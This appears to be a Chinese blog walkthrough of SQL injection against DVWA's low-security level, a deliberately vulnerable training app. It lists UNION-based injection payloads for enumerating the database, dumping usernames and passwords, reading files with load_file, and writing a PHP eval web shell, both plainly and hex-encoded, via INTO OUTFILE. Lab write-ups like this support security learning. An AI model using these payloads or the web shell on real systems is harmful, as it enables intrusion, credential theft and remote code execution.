DVWA-SQLi(low)

59 阅读2分钟

SQLi注意

   所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

   永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。

注入点

image.png

源码分析

image.png   如下代码,改代码为参数拼接查询SQL语句,而且开发人员没有对参数进行任何过滤和限制,因此留下安全隐患。 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

  安全人员根据界面业务逻辑尝试通过构造查询参数、闭合查询语句来取对应表格所有数据,乃至整个数据库进行拖库。

1. 数据库类型检测

 &emsp 尝试构造参数,迫使数据库报错,根据报错等信息判断数据库类型。 image.png

image.png

1.1 判断注入点

?id=1' order by 2 -- (注意后面有空格) 正常

image.png ?id=1' order by 3 -- (注意后面的空格) 异常 image.png

1.2 确定回显点

?id=1' union select 1111,2222 -- (注意后面有空格) image.png

1.3 查找用户名和数据库名称,以及版本

?id=1' union select user(),database() -- (后面空格) image.png ?id=1' union select current_user(),version() -- (空格) image.png

2. 根据数据信息构造语句,爆破数据

image.png 1' or 1=1 -- (注意空格) image.png

2.1 爆表名

?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() -- image.png

2.2 爆列名

(1)?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273(users 表名16进制) -- (2)?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --

image.png

2.2 爆字段名

(1)?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users --

(2)?id=1' union select null,concat_ws(char(32,58,32),user,password) from users --

(3)?id=1' union select user,password from users --

image.png

读文件

?id=1' union select 1,load_file('//tmp//key') --

写文件()

?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' -- 

?id=999' union select null,'hello' into outfile '/tmp/test02' -- 

?id=999' union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' -- 

?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' --